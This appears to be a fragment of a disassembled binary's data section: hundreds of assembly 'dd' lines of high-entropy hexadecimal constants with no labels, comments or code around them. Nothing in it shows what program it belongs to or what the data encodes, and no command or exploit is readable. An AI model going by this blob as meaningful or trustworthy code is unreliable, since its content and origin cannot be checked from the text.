		dd 89709E2Ah, 5B72E858h, 0F0895FEDh, 5429F4E0h,	0FB90EE97h
		dd 10BF6880h, 435B7F98h, 489524B0h, 4F59E91Bh, 0D3D6A6A6h
		dd 532DCDFCh, 5F4B5776h, 534AA8BCh, 6802C9B3h, 33A82AF6h
		dd 9164BFCh, 0C500F3BDh, 81574369h, 1F2D61E6h, 2D57C49h
		dd 5DC27B6Dh, 27DE7DC0h, 2430B43Eh, 430C94E3h, 0E920C29h
		dd 4B7AF305h, 10CB833Fh, 407BFF4Fh, 2233A709h, 0E7A9D8C0h
		dd 7606C638h, 626D63E4h, 9DA772B5h, 9F4C46E0h, 5CEBC080h
		dd 0F677E106h, 0A9845587h, 1EF9D40h, 742B3E1Fh,	0AEEC5793h
		dd 4BDDA421h, 0C8EA8801h, 59025AD3h, 0E3C0C3FEh, 0FE307502h
		dd 8D4AB4E9h, 406D2DB4h, 44975057h, 0A99ED2F8h,	0F3547B5Bh
		dd 969D54EBh, 0F81520FEh, 5D4882B5h, 9F30F755h,	5A4F3A68h
		dd 6CE9D761h, 0AB3D852Ah, 8120419Dh, 85F186Eh, 9A4F9223h
		dd 966FE6B4h, 2F643023h, 0F45EF3h, 12B6127h, 0DD7C84A7h
		dd 0E46884C2h, 37496970h, 7AB10700h, 456518F9h,	2FE393FAh
		dd 29729A06h, 4E832819h, 0DCCDE5B1h, 0BBB06A18h, 8718B70h
		dd 4CB9B4C1h, 9A606BADh, 927E138Fh, 644D8033h, 105A13DCh
		dd 0EA0263ADh, 5D356207h, 0C214E4F4h, 0D31C6008h, 0BD482B55h
		dd 6815EA14h, 10BA25E5h, 5938FC0Dh, 4345E827h, 0FEE29924h
		dd 5D5B0397h, 3BA3B9B9h, 627FAF27h, 40713C9Ah, 53E3D86h
		dd 61E9058Ch, 338837DBh, 0C8D957E5h, 0CB316E67h, 29016915h
		dd 3E9FFDD3h, 2DB2D97h,	7CCAC7FBh, 0D78E3B8Eh, 2500956Dh
		dd 6E8736F3h, 152F509Fh, 484EF7E9h, 7C95E78h, 25E60DA3h
		dd 27E904C1h, 77E7A976h, 2DFC6DF3h, 3B67DAC5h, 0A3DF8359h
		dd 0DAA29324h, 0B8C04A38h, 0C262A900h, 47592D0Fh, 3E75B6h
		dd 1C142F4Dh, 0FD295B05h, 0C990BFB8h, 53CE172Fh, 85323DD2h
		dd 59E035A7h, 14986005h, 34763FE8h, 5F68E915h, 30EC7CD1h
		dd 0C231744Bh, 0C3977713h, 0DB8904F2h, 0F516EB30h, 0D26B28E3h
		dd 4CE8135Dh, 0F7A524CCh, 0CB9B182Fh, 181FF359h, 0C5A7D08h
		dd 31204060h, 2A4C1D17h, 81899247h, 7A791EF1h, 0FAFBB5Eh
		dd 49B565C5h, 826F54AFh, 0BB16AC02h, 64D55E71h,	0DDB09F53h
		dd 0F996F681h, 0ED752A6Fh, 5ABD72A8h, 6C77F6BAh, 9448179Bh
		dd 94C561Fh, 89737C18h,	4020624Fh, 0C5DF6313h, 5BE94168h
		dd 0FBC650D7h, 0CC7AACA8h, 0ABDA55E1h, 654C1EC6h, 0BEF71183h
		dd 5B740000h, 9E451A8Fh, 0A4888284h, 60F5E570h,	946036EAh
		dd 0F7314328h, 87EFE93h, 0C5C0DF71h, 834A0DC7h,	60D7F669h
		dd 0ADC1176Fh, 63610B4Bh, 0D21A7E0Ch, 90F901E0h, 0A908838Eh
		dd 3381B42Ch, 2D42D6EEh, 0AEE5EC66h, 3EF845BFh,	92E4D95Bh
		dd 968D025Ah, 9FE58560h, 43284EE7h, 7390A0Dh, 0C204915h
		dd 0E0D1809Eh, 3DFB0503h, 0B0351F36h, 953BAB99h, 6AC88902h
		dd 5BB72A96h, 0E668842Dh, 4BA7B32Ch, 51FE6F22h,	0B7CBA766h
		dd 0BF01B0D2h, 3BA503FCh, 5E201C58h, 9B91A8h, 540C22F2h
		dd 0F9972164h, 66FB0920h, 176209DEh, 15D1A4Dh, 7E5C09Ch
		dd 3406EDCCh, 0C104D5F6h, 7AE1862Dh, 3910EB8Ah,	7CB15748h
		dd 0FA5BC32Dh, 0AD839512h, 48E14C41h, 0E1CA2ECAh, 2FD1C410h
		dd 0CBF9545Ch, 51455E29h, 6374422Dh, 0CC88ED4Fh, 0A7AA4EBCh
		dd 21267B89h, 0E4828F7Fh, 691C286Ah, 4D2AF52h, 9233EC5Fh
		dd 47CF3721h, 5CA8B52Ch, 7BB95100h, 8155DA13h, 2D2A0DF1h
		dd 202C1754h, 0E45FB12Ch, 0B41031ADh, 515E25A3h, 742562E6h
		dd 2B2832CCh, 56CD8756h, 9B300D2Fh, 5B130010h, 0D1DFF764h
		dd 2E4C1E7h, 0C75AC09Dh, 60AB0B12h, 1BDE2951h, 0BD9BF0ADh
		dd 18B866Fh, 910E00CDh,	4E743943h, 0C1E8A859h, 8C16E955h
		dd 66047569h, 2E8408h, 2D96255Bh, 0E9750BD5h, 0CAC85922h
		dd 992D6415h, 42EDD620h, 7DD6D87Eh, 20E872E9h, 284CF918h
		dd 0EB7A70EAh, 0C2E3454Fh, 2C6AB640h, 0ACAA078h, 51D16CEBh
		dd 0FCD5F353h, 0DC2D0989h, 5FC509D9h, 62AEDF02h, 20C12903h
		dd 31BF4D8Ah, 0E26E6668h, 46CE179Fh, 0BF0343A2h, 47B265ECh
		dd 7A92D8E9h, 605302CCh, 0D1C68BEDh, 642DD441h,	20917C29h
		dd 5CE91408h, 1F8028D7h, 4F22F804h, 0E998DEA3h,	0D968373h
		dd 26D11663h, 4240CA33h, 0EEDDC357h, 86B680FDh,	3F170D32h
		dd 0A50B8235h, 0B2A5BF6h, 4F71EF29h, 0E941026Ah, 0D02FAF97h
		dd 0C1197807h, 0BD5F3D0Dh, 6D200D77h, 8E73BF8Ch, 0B65597BDh
		dd 0F94E1AF6h, 0E9CA8175h, 4B286808h, 61018FD0h, 14FA262h
		dd 1A9F44D6h, 0C9D50C08h, 0F82B5AD3h, 0D5BFF234h, 9545FCA2h
		dd 3D530209h, 0EF810071h, 9B2D3BA4h, 202FDAD5h,	534CDF2Ch
		dd 1B4F2675h, 2FF9FC08h, 498F9D48h, 354118BFh, 927B99E3h
		dd 3121BA5Ch, 874A45BCh, 0A525543Eh, 0BB9CC81h,	3131FD32h
		dd 81DD11BCh, 0A10B70F5h, 582D4D7Bh, 0AD7220E1h, 0F603091Dh
		dd 0B9754FF2h, 7FB2D3E5h, 5265FF93h, 0CAF5B3E8h, 0E1617375h
		dd 0B0615070h, 0CF6A803Eh, 18675720h, 0F7C2DB9Eh, 0E34B7539h
		dd 0CAC5A89Dh, 0A46F865Ch, 0CAAACEE1h, 2DB14AF9h, 9F03CA3Bh
		dd 9DA9A1E0h, 402F2B48h, 0DC3F35E2h, 2D3D873Fh,	607E0229h
		dd 0F9B60705h, 64E912D9h, 0AA4DD084h, 67608C0Dh, 0DF56D4C2h
		dd 0E889257Ch, 295B86E6h, 10543E9h, 0D69DE6AAh,	215A19E9h
		dd 0F48529FCh, 871AE7Dh, 0C01114D2h, 0B2510344h, 5397C61h
		dd 0FC702368h, 5A21C1B4h, 0C86F2735h, 4459E938h, 0E9DD5E3Ah
		dd 0CB15F26Ah, 5DA0277Ah, 0AFBC01F5h, 2D2E210h,	0C38027B6h
		dd 3F68F6F8h, 1283ED79h, 6576E9F1h, 4A299539h, 62C14DCCh
		dd 69355F79h, 0A0BB2259h, 33A29067h, 0E31D8C8Eh, 0E8547610h
		dd 4C35A84Ah, 7552065h,	8662B050h, 0CCE7A2F8h, 0D90BBB44h
		dd 73510B38h, 2C709FCh,	9F30147Dh, 44151790h, 0DEAF0FB1h
		dd 0D3BE5C28h, 9F09256Ah, 0DC445701h, 34B7531Ch, 0D6ADF81Dh
		dd 0E2057A82h, 6C30BE82h, 0C44ACF68h, 0E7F8F1Dh, 772DC4ADh
		dd 0D277CCFBh, 5E3CF8E9h, 0D159467Fh, 0E1095B04h, 4ED9D8B5h
		dd 0C294B366h, 446256E9h, 98CF2724h, 5C705656h,	52369856h
		dd 0E804B0A1h, 0BF359CB9h, 2CEC1916h, 0DD96E90Dh, 0BE5A8181h
		dd 3EF63BFEh, 0B8053C78h, 84E106BCh, 17F5A84Eh,	7DA9C9D1h
		dd 56341207h, 0A101B583h, 53426E1Bh, 40A60386h,	9FC2DB03h
		dd 194290ECh, 2F13110h,	96D51B8h, 0DB13D5A1h, 4EFA1E20h
		dd 4F868766h, 901A1DF2h, 1A0D0299h, 57132C5Fh, 810329F2h
		dd 6B1709CFh, 0BE84D94Bh, 0FB852C6Bh, 18A14252h, 682561BFh
		dd 0E70E5CC7h, 0AA42E8C5h, 6A30D93Dh, 3DBDA5E2h, 168BABAFh
		dd 19864526h, 5822CC9Dh, 0B6CD9E5Bh, 44B42A65h,	0C8DC4E9Ch
		dd 7B7AB07Fh, 102874Ah,	5F21EE68h, 79B95F14h, 6C7E066Dh
		dd 50B2DE8h, 0F05AFB5Bh, 0D00783A2h, 0A87CC2E9h, 262657F1h
		dd 2E74DE3h, 20D2215h, 50364640h, 41D5272Dh, 0C8567F65h
		dd 5D4F243Ch, 3E6861C7h, 648D517Dh, 605902D7h, 75285038h
		dd 3ED7E5EBh, 0BE487806h, 0DC77B751h, 10B4284Eh, 0F1C8BF5Ah
		dd 52550159h, 6977E568h
		dd 0DCF92A7Bh, 20EB3017h, 962097F7h, 0CE21DB09h, 0CAE50059h
		dd 0C2299306h, 3A2E260Ch, 97F622E0h, 99CD3D12h,	0B217C1EDh
		dd 41BDCD6Eh, 3BD371Bh,	5ADA205Fh, 21D6813h, 0E51B95A3h
		dd 0A0F2B33Fh, 0F5886644h, 5081E896h, 18F331F9h, 0B3C74F29h
		dd 2A17D2EEh, 74240863h, 90670812h, 0CBBBF0E4h,	9AA14ED1h
		dd 8411062Bh, 0C5045541h, 28CB5534h, 4A7E73E8h,	0C2A6B159h
		dd 0CD580195h, 64E0CAAh, 5E08BEA0h, 63F04FEEh, 628D4940h
		dd 590C187Fh, 26B6502h,	3602ABC0h, 0E35F031Bh, 0F2AC1019h
		dd 0EF47B308h, 3E8C18C3h, 18E3A908h, 81899F8h, 0DD1819A8h
		dd 943380F1h, 5B4710C6h, 3D2A2008h, 20514A31h, 419060D0h
		dd 5C7410C9h, 848637Dh,	183EFE93h, 0E808E3DDh, 88493373h
		dd 8110C510h, 0D4196AD9h, 1C431D8h, 888B06Bh, 0A03F952Fh
		dd 871920BAh, 62765F20h, 2367C1C2h, 31858403h, 7B39AF08h
		dd 517801F8h, 50A5188Ch, 4740FD08h, 0B1894080h,	40180840h
		dd 0E9621902h, 32B6D38h, 103168B4h, 0D30469AEh,	62961088h
		dd 844ED0Ch, 0E38840BEh, 861BE1C6h, 59E72010h, 205A6F20h
		dd 3920D903h, 55793197h, 142E208h, 65019D27h, 61F20116h
		dd 88EAFF01h, 1F5D8B38h, 0EF62A052h, 36CB799h, 870C0A1h
		dd 63C1F940h, 5AB2056h,	11FB0831h, 28014D66h, 992888A2h
		dd 0A9300C1Ah, 0B9C40D10h, 0AE046828h, 0BBAA0647h, 0C4A0B008h
		dd 0CCB4108h, 4046C1DAh, 0FD638C53h, 1FAFBE18h,	20278008h
		dd 8E109862h, 1CC9039Bh, 0C64B0818h, 0C4A06318h, 5E31508h
		dd 0F04824CCh, 11A80C37h, 3640F108h, 0A90C40A2h, 7307163h
		dd 9D0818F5h, 53861835h, 81A77F80h, 0AD451B0h, 6EA02463h
		dd 0BC530481h, 0D16118C8h, 985018D7h, 0ABBDE780h, 0EE4918C0h
		dd 0DA830867h, 8052EF80h, 30C6962Ah, 31082E3Dh,	4518CED8h
		dd 0E50888A4h, 7C370C69h, 0B092B820h, 0A98D3233h, 0C2101567h
		dd 2233C870h, 4842F08h,	0FF0431A7h, 0D5A8066Dh,	57CB2038h
		dd 10CA4B31h, 8885D17h,	0D41265E3h, 48353846h, 89902010h
		dd 881F031h, 189FBCA0h,	0D349606Eh, 4B891874h, 809F3C08h
		dd 0E481BE15h, 0DB2B851h, 2A99308Ch, 2D409C08h,	673C403Fh
		dd 5E41B9C6h, 58FC4D30h, 1892A710h, 6F08932Bh, 6518CF64h
		dd 5920A895h, 203E8E20h, 0F1491498h, 74C610D8h,	0FC9C6004h
		dd 2EA4C9E8h, 557C27A0h, 62BD741h, 103E9407h, 2C473B00h
		dd 13EB0275h, 0B90EC689h, 5F43DA7h, 8F440100h, 0C90B4940h
		dd 8BF71275h, 0DE11F074h, 0F4F00325h, 0C03343DEh, 4FB10FC0h
		dd 0AC2C3060h, 4A91E953h, 0B45E3B8h, 0FD2899EAh, 3BB3C03h
		dd 32C0404Eh, 617AAE62h, 13AA0E59h, 3F3784Ch, 23D86644h
		dd 8C3E84Bh, 6F2E3046h,	0F953B60Fh, 0FFE96C05h,	34020145h
		dd 7F7FAE68h, 1CC6B81Ah, 0A56BB35h, 581F5582h, 272D076Ah
		dd 0A7577B77h, 0AE01B538h, 24E28864h, 5B98E983h, 0BD072873h
		dd 8667DD46h, 0C7E2978Eh, 5A059F96h, 31E961DCh,	665C19FAh
		dd 8DF12A29h, 0C5DEDB38h, 0EC509768h, 0E9450944h, 0B03A60AFh
		dd 8AD0B52Bh, 24A22C0Fh, 521DC673h, 0DE4E634Ch,	2A79CE50h
		dd 0BA1C350h, 0EEAE5D24h, 7599193Fh, 13D95C1Ch,	9B1BF5EAh
		dd 0A5BDA9F9h, 4847D212h, 27C2708h, 29236AD0h, 9A805FFEh
		dd 724F58FFh, 8CE35B4Fh, 5282E90Bh, 695BEE7Ch, 0A8592AD9h
		dd 35A2DBBCh, 142FC09h,	0B44229FEh, 5BFCFE2Ch, 0AD0B4CE9h
		dd 5A6AF42Ah, 88FEB05Fh, 903EF60Dh, 0ED282052h,	0C4098174h
		dd 55522310h, 40820Ah, 3D395AD7h, 4F690BE9h, 4BC05D5Eh
		dd 0AA4A7603h, 71633CC7h, 39841061h, 4ABB0F0Ch,	0D8EBEB96h
		dd 6889FAA6h, 0DC4689Ch, 59FEAD5h, 48706F0h, 30BE1045h
		dd 7EFE5B42h, 61584001h, 4FF83BA4h, 0E66819C2h,	43665777h
		dd 67DFB0Ah, 0DE00A561h, 8165CD41h, 7B123CF2h, 0D2F72D02h
		dd 795F5C68h, 0ED551224h, 17E98459h, 0C3718B97h, 0A6F7F828h
		dd 4BA52DC0h, 868A35D9h, 92A0884Dh, 0D35471F0h,	48E4C6A4h
		dd 1F7ACD3Bh, 0D2C0A3F6h, 1D2F2D54h, 4EBAA00Dh,	0DC038372h
		dd 8256AC3h, 93CBB06Eh,	9FCA7C6Fh, 0B6EB7C00h, 0C45FC96Bh
		dd 351CDDECh, 8204904h,	0E98EAE09h, 0F7A1CE6Eh,	97481EE9h
		dd 77EB5D54h, 1EF599DCh, 0F645BD43h, 68041D2Bh,	0B7B25E8Ah
		dd 52045E95h, 0FC34EEE9h, 0D2818915h, 0FD83E641h, 6E12886Ch
		dd 0C115A827h, 2EB423BCh, 1BAFA02Ah, 51CF0302h,	893DA1E9h
		dd 7DCFECA8h, 0D6F12555h, 0DEE99474h, 0C06E17F4h, 0FEEDD0E5h
		dd 0EABC54Bh, 2738223Dh, 6AC15BDEh, 69A13550h, 9A1B7CF8h
		dd 0B346FD40h, 85D48008h, 0B37014D9h, 0A613A709h, 0BC705612h
		dd 0ADFE9E30h, 0AD17DBB0h, 296476DEh, 928EF6ABh, 64E922EAh
		dd 0A05D864Ah, 6761ED3Ah, 2DDA02Fh, 4B260658h, 2684D3E9h
		dd 2D29E5B7h, 5D72ABDCh, 6E5F45B2h, 8AD49716h, 0EAB8AD44h
		dd 0CBC4FE1Dh, 0A21C3E5h, 968AE280h, 161EB406h,	2BC7EF70h
		dd 3C762D6Ah, 0BA0087E5h, 79E774E2h, 0E9D70A29h, 0CFE41F12h
		dd 332AE626h, 5B66F816h, 16BEEB0h, 0FEE3F280h, 258EE9CAh
		dd 4AD2FA7h, 3168AD93h,	565DB354h, 0CECB3Ah, 25A34A33h
		dd 9D66BEE9h, 97F04CC4h, 1406A649h, 30AB5DEEh, 79F7D774h
		dd 178A3D91h, 0AC4E0596h, 0AF11C6DCh, 7203B610h, 0D10C477Bh
		dd 95B80AE7h, 2C098366h, 0F0242B47h, 8EF5144h, 0C0941D20h
		dd 4814BA26h, 71981F82h, 0B35D5B01h, 654AE9E2h,	78ED4781h
		dd 0EC40B637h, 91A20E3Fh, 192C5444h, 1C4A4993h,	0D0F753Ah
		dd 0E6EF31CDh, 64580A7h, 730815F5h, 0B5015002h,	685E01A5h
		dd 0C18B5644h, 1F9B2C4Eh, 642F8BC1h, 513F50C0h,	0EC9B50B1h
		dd 78478F80h, 95403020h, 70A1C661h, 5C626925h, 0FA348EB5h
		dd 355EBED6h, 2B6D0B47h, 17C70C1Ch, 0EB529D0Dh,	55AA4A52h
		dd 0AE936F81h, 32E9D728h, 589436B9h, 7569C85Ch,	0E937E814h
		dd 3A559BB1h, 0BC5A89A0h, 72A4CFB3h, 0B771D12Fh, 96CA3E54h
		dd 0D4548969h, 0BDE9C3C0h, 0A4E6BDFFh, 81314F90h, 0DF299A08h
		dd 0FB6F42Ah, 0E1718B2Dh, 286E52ABh, 13633E7Fh,	0B9B70456h
		dd 9269BD96h, 9758EDD6h, 0D4206DACh, 5FFB310Fh,	0C9E2456h
		dd 82056601h, 0D098701Bh, 0ED32DEEh, 157A4A02h,	0C16E7C01h
		dd 3F549F68h, 0F438A432h, 874507C3h, 81F123EEh,	0FA3B2DD8h
		dd 93E1A14Ah, 302D10F7h, 0A3BF0040h, 1734B78h, 58C59DFBh
		dd 0F6681630h, 9807BC3Bh, 1B350A96h, 16987E12h,	5A2826E0h
		dd 49C5F6B3h, 0FBB08B5h, 0EF8F8101h, 2109E629h,	34B8201Ah
		dd 610E3502h, 0CA0541E9h, 4F81F5C3h, 0EF40109Fh, 6BA948E9h
		dd 0DD20B3D7h, 0B13A3968h, 90EFA045h, 4C0B0E3Bh, 8642E405h
		dd 7CF64839h, 5BD32D01h, 187A6FBEh, 766C5CF0h, 0E93F201Eh
		dd 68AF2F17h, 0BE927A9Ch, 8BF05B5Dh, 0D67E8DBEh, 25D4B33Fh
		dd 0D6F6E429h, 4E77A008h, 386B0B90h, 601FD1DAh,	82267FB9h
		dd 68314CB8h, 45DDE9FEh, 0E752AE71h, 0C1015F66h, 0DF2E0602h
		dd 0E6454D3h, 0FD344418h, 7B0D17AFh, 4AE472EAh,	0EF9EE8F5h
		dd 94D3E0A0h, 0DF41007Ch, 0FD8942EDh, 43DDE91Ah, 8B9AFC73h
		dd 0AEFB4DFFh, 6EC5E904h, 0E74444EBh, 0EED2B4ADh, 8113509h
		dd 61BE3239h, 24ADBA24h, 7CA748C7h, 53BA4065h, 33093A66h
		dd 705AD101h, 69A22E55h, 6CD9531Bh, 5DACA51Dh, 0E57D6BB2h
		dd 172C9005h, 208D3270h
		dd 0A9A30F4h, 0BC55E943h, 22B48F73h, 13644B44h,	8D0ECE01h
		dd 0B13F19C8h, 71CB6AD1h, 5E56EC97h, 56E95EC1h,	0C62FC075h
		dd 760FCA1Dh, 0C40E8742h, 0ED1346B3h, 0C0912740h, 90D1F61Ah
		dd 1E1A69EAh, 0E09C79D4h, 14D8BBFAh, 130B90F6h,	0E70504E9h
		dd 724E85D0h, 0E7C047B7h, 16B551E1h, 925DF06Fh,	0D6249D69h
		dd 3CF87ACDh, 0C6D56827h, 493E9640h, 0AAC3F404h, 69EF8F98h
		dd 42751C8Ch, 6288D8E7h, 43E965AFh, 5316DF58h, 3EB58B7h
		dd 62F7809Bh, 841AC799h, 5D2CA706h, 56D2D5A1h, 2C5B50EAh
		dd 0D8288A1Eh, 0CB15767Ah, 48DDA1E9h, 1AC60474h, 0B48B4A1Bh
		dd 86DDFD4Ah, 3A8C3527h, 0F59E4F05h, 60D78B32h,	402832D5h
		dd 813409D5h, 0A7EE7056h, 15507D7Ah, 0D13B8FFAh, 645D786Eh
		dd 25AD488Ah, 62D85104h, 4000F7DBh, 242D3625h, 3C306E3Ch
		dd 0D6FE4640h, 160504D2h, 2EEE491Eh, 0B86C6086h, 0D8F49DBh
		dd 262CE968h, 81E36BD6h, 2F85998Dh, 0E8D37CB8h,	0B353C301h
		dd 0DDEB85DAh, 0DB12A0AAh, 0B858E9FCh, 0C3B84E43h, 28B2BCB4h
		dd 975D8852h, 3B3881E8h, 0E46F2AB6h, 26CB0883h,	55E92963h
		dd 0DED95E5h, 7D03887Bh, 0D3B6F859h, 15E23100h,	26E971A3h
		dd 81B2D745h, 0D36DB668h, 6FD9ED78h, 4E5FD982h,	54EB779h
		dd 0A298C9Fh, 0A2E172Dh, 3511049Eh, 40898DEEh, 0C25A0FE3h
		dd 0D1B8750Fh, 760E4B37h, 0EF027F4h, 0B7742D04h, 1DFBEF99h
		dd 0AFA69226h, 4C8FCC39h, 3A0907DCh, 0BD4060Ah,	0C1E6BC26h
		dd 0C641DD25h, 2D6A0B65h, 759455B5h, 9A32D81Ch,	25088430h
		dd 0CB110009h, 2ADF056Ah, 9FC94720h, 8D3E8640h,	0E1801254h
		dd 0B40FE0Dh, 59CC8885h, 93B13151h, 0F1C0C91Ch,	8069703h
		dd 700E52B8h, 5AC9D128h, 0D7192D7h, 0ECE43ACAh,	0DC860103h
		dd 0F6DA8852h, 31046ED2h, 92BEE1E9h, 0D8626837h, 0B58B31D6h
		dd 630E55EDh, 0C567518Eh, 0FED58393h, 0F94183ACh, 0E990CFE8h
		dd 5906B538h, 37118E54h, 0EFE4EBF8h, 0BF91C4C8h, 47154B10h
		dd 0C119332Ch, 40611B02h, 0BA22603Fh, 73495843h, 34759017h
		dd 54FF0432h, 59CD415Dh, 0DDCCFCBFh, 0E8809F5Ah, 0E9071865h
		dd 75E18D49h, 0D1ECDF5Eh, 9FFAB24Ah, 463A4F8Bh,	67922F4h
		dd 0E9C88588h, 939755F4h, 48E3C216h, 65BD69h, 0C16E4803h
		dd 0D14502EDh, 0D8E5E576h, 9C0FF581h, 97D5D63Ah, 1A222521h
		dd 8E091E06h, 542A0A07h, 0F0FC27DCh, 5EA26878h,	0C947FD2Ch
		dd 0BBEDC084h, 33251248h, 0CA41BE3Ch, 0F1975FC3h, 0FBF4F03Fh
		dd 75C91E18h, 970A40Ch,	0DD016919h, 408EE08h, 0AEB1F2E9h
		dd 0FA840827h, 0E2D10C91h, 41396421h, 2447290Bh, 158AB47Fh
		dd 0BA6B6368h, 41417327h, 749205Eh, 0F53F6E92h,	0C8C31587h
		dd 8E680969h, 0CCA83058h, 4C6F0939h, 55F4B5Bh, 89FAAFBFh
		dd 685361DFh, 0B1B45AF4h, 5F7C40D6h, 0FC06309Fh, 0E1D19515h
		dd 61615767h, 466E5B48h, 0A569E9ECh, 8885A3A2h,	3D0BEEA9h
		dd 7E99F59Ch, 518F3C9Ah, 4420FDB8h, 7BDA831Ah, 5BB3DDDBh
		dd 2059E8F9h, 4CDBDB95h, 8A842D33h, 0FE02A348h,	0BBDC758h
		dd 5ED7F612h, 12082CB2h, 0AD3918EFh, 5655D868h,	76F62B62h
		dd 88EC72Ch, 0BE07A24Dh, 1395574Fh, 4AA15487h, 0F13A440Fh
		dd 0A6892A73h, 0BA66A21h, 0FD123Ah, 0A961CD0Dh,	0AD28E91Dh
		dd 489DAD14h, 94A5C7FBh, 21378290h, 92DD7770h, 6050CAA7h
		dd 54AB4C9h, 1FE92932h,	81D65687h, 27D6D52h, 0DB6FE42h
		dd 7E10A414h, 690A6B7h,	0C630F090h, 6B7E6829h, 651F66BDh
		dd 0BB5E614Fh, 4FE8A42Ch, 0BC4231D9h, 0B3E80409h, 503A94Eh
		dd 0AB0798Ah, 0FC152DFEh, 2627555Eh, 0A3580235h, 28C4536Ch
		dd 70940927h, 1A03761Fh, 233B7E45h, 819B98E8h, 96F0300Eh
		dd 4AE9AF0Dh, 2403C9Dh,	0BE689304h, 88227133h, 88261517h
		dd 99360D82h, 89B78074h, 5872340Eh, 1830054Ah, 616ECBABh
		dd 242C63Bh, 0D77B6AF3h, 13A04076h, 89758239h, 1F46567Eh
		dd 57681286h, 89E6960h,	584BE90Dh, 0CB51840Eh, 738A2ADDh
		dd 61144F12h, 309D0766h, 0C2655BFAh, 0FE0685EBh, 4230C379h
		dd 0BFBD8045h, 49534F12h, 321E02EFh, 94604BB8h,	0B5C48F1h
		dd 8B0827CAh, 0A7B3710Ch, 91896645h, 0A882D499h, 9108DD78h
		dd 0E9D905DEh, 0B6613E16h, 81330692h, 5D476809h, 0A9C4BB1Ah
		dd 26AA7720h, 3A1C501h,	1C8E2D60h, 0DD184069h, 79BD506Eh
		dd 4D5B6B6Ah, 5E495113h, 1C8E0659h, 0D610A1E0h,	505EF3C8h
		dd 0B841F95Ah, 0FD645B13h, 0B4EB05DEh, 0C50C18D1h, 0BBF631Ah
		dd 57D20C84h, 0CB218B7Dh, 49B8FD24h, 0F5709325h, 7CE25E4Fh
		dd 0D6DBF2C5h, 0F06811F5h, 0CF02C723h, 553DD67Ah, 419F64EBh
		dd 40409124h, 9D0E08D0h, 5CB9BD4Fh, 5560DF2Fh, 0D7AA0BF7h
		dd 62A3FB68h, 25C553C0h, 98549014h, 8DA0C2Ch, 0CE585071h
		dd 4073CD90h, 80208B7h,	8A55D27h, 0B481BF01h, 6800FEC6h
		dd 599D3FA8h, 73B68A36h, 2E962DEh, 9205F1C8h, 6CB14807h
		dd 0CBCED829h, 0DEA22021h, 0C0275051h, 0F8055B18h, 60E54E4Ah
		dd 7A32DCDh, 5D1409E5h,	1AC23800h, 29F3DE4h, 0D563D153h
		dd 45DF6D3Ah, 385D8005h, 0BB5E51F5h, 55411C0Ah,	0EC05E8A3h
		dd 7C2B75Fh, 2F842F3h, 0F8575E08h, 53F6400Ch, 14685109h
		dd 162FC665h, 0FA9BB5A9h, 0C7EA1512h, 303E371Ch, 2BE957CDh
		dd 0BDEC0763h, 68F080FAh, 4AEA5B09h, 8785987Ch,	8237C380h
		dd 0C7F56271h, 495C2F11h, 0F45BF002h, 1A68751Dh, 4D2FA0E9h
		dd 0E46CD401h, 9350815Fh, 3DA36A39h, 4B2E0B17h,	9677C182h
		dd 69249CAEh, 0E910A17Fh, 14A5FD35h, 94AD8145h,	352309A0h
		dd 36826F60h, 605F5E3Dh, 2E1BE23Eh, 1881F3Eh, 4E5A13C2h
		dd 59DF2060h, 4C504A80h, 0CD30E153h, 1C38B96Dh,	7616E027h
		dd 34172C06h, 530B003Ch, 62736857h, 0DF7E482Eh,	6BC7B05Bh
		dd 0D3A205E1h, 3492BAE9h, 0D8CD8185h, 46EA04E0h, 39B1131Fh
		dd 711837FCh, 8F0C1063h, 7E67250Ch, 50271E78h, 0E1FCA2ACh
		dd 224CFFF6h, 19766813h, 36A56CAAh, 23B8344Bh, 0B2600093h
		dd 55510138h, 7FCD6CB5h, 535F03B8h, 0B6BFA4BDh,	5BDD29E0h
		dd 13C393A0h, 9A530162h, 5130FC4h, 0E21F2AAFh, 304D7F26h
		dd 5629273Dh, 4022C0BDh, 0E8901714h, 0C9BFE234h, 99FCC617h
		dd 6269D73Fh, 142E39D8h, 0D9531DBAh, 17B0DB46h,	0F753A7E6h
		dd 2D585014h, 565E0006h, 77B0BD55h, 0F0235B8Ch,	0C6008153h
		dd 478744E0h, 0F208E6C1h, 8B580BF6h, 8C624C7Fh,	0D7603C40h
		dd 0A0529895h, 0D9C597F7h, 0EDCA4E0Ah, 820B8F68h, 0FD10DFEFh
		dd 45B0F787h, 5F56570Bh, 6D41D65Eh, 72A62B0Ch, 160C8B5Ah
		dd 0E2421B76h, 432843C7h, 8BEE82F5h, 34329198h,	80423807h
		dd 0AC6577EEh, 0C875094h, 0D4C68852h, 0A83BE11Ah, 5AD5F466h
		dd 32B14DBCh, 685200EFh, 314B54EAh, 74B97A66h, 0F1813A6Eh
		dd 47E93D04h, 8928BB96h, 52C81D5h, 0C8108BAEh, 73770B04h
		dd 0B6296F5h, 1234AE9h,	2D1E3840h, 7451DD25h, 0F191892h
		dd 7C17BB53h, 0C201D769h, 0D65DE9DEh, 5524A526h, 95C108B0h
		dd 2EF37E2Dh, 375600Ch,	0F895700Ch, 0D01F204Fh,	0FE357990h
		dd 11A94A8Ah, 2F8B7C4h,	0A22F5368h, 28DD3ECh, 0A540FD31h
		dd 30B4B001h, 448A27C9h, 0F74F4BD0h, 615890DEh,	68560A02h
		dd 0BC98C662h, 7095595Eh, 66A83076h, 7AFBC2ADh,	0F9503726h
		dd 1BC8243h, 2CFB9AFh
		dd 6A311BA8h, 4AB494C0h, 0C17DB401h, 4C25EF68h,	342FE9B6h
		dd 0CB511B02h, 0BA4FE50Eh, 9B196168h, 1A705D1Ah, 506C904h
		dd 1155782h, 0D17399FDh, 55B013EBh, 642CBA56h, 2D0E9C67h
		dd 0D38331C3h, 68A8EBABh, 0C594221Eh, 0F657B040h, 8ADB6D0h
		dd 0D82FB71Ch, 5F7FF05Ch, 8A0E5642h, 5EAB484Bh,	4D355B2h
		dd 3140D7B5h, 504002BBh, 0B0555BD9h, 0ADF34DAEh, 0BEB0F84Ch
		dd 0C22662E8h, 75107144h, 0C17ABA51h, 82F4CFC3h, 89685A12h
		dd 0A67DF151h, 4C417DEh, 0E75072Dh, 26AEC25Ch, 5EB9DF01h
		dd 4FC4B8E1h, 490D2235h, 5A341620h, 0A6799CEAh,	36F88ECBh
		dd 7DF6271Ch, 83ED4758h, 71D13604h, 0A5804538h,	0BF631F0h
		dd 75FBE970h, 69FE16DFh, 5FF3B2Ah, 0D141EC9Ah, 0C14BD3F7h
		dd 0EBCC07E9h, 0BE560206h, 50C36DB4h, 27FF6742h, 6C61EE2Eh
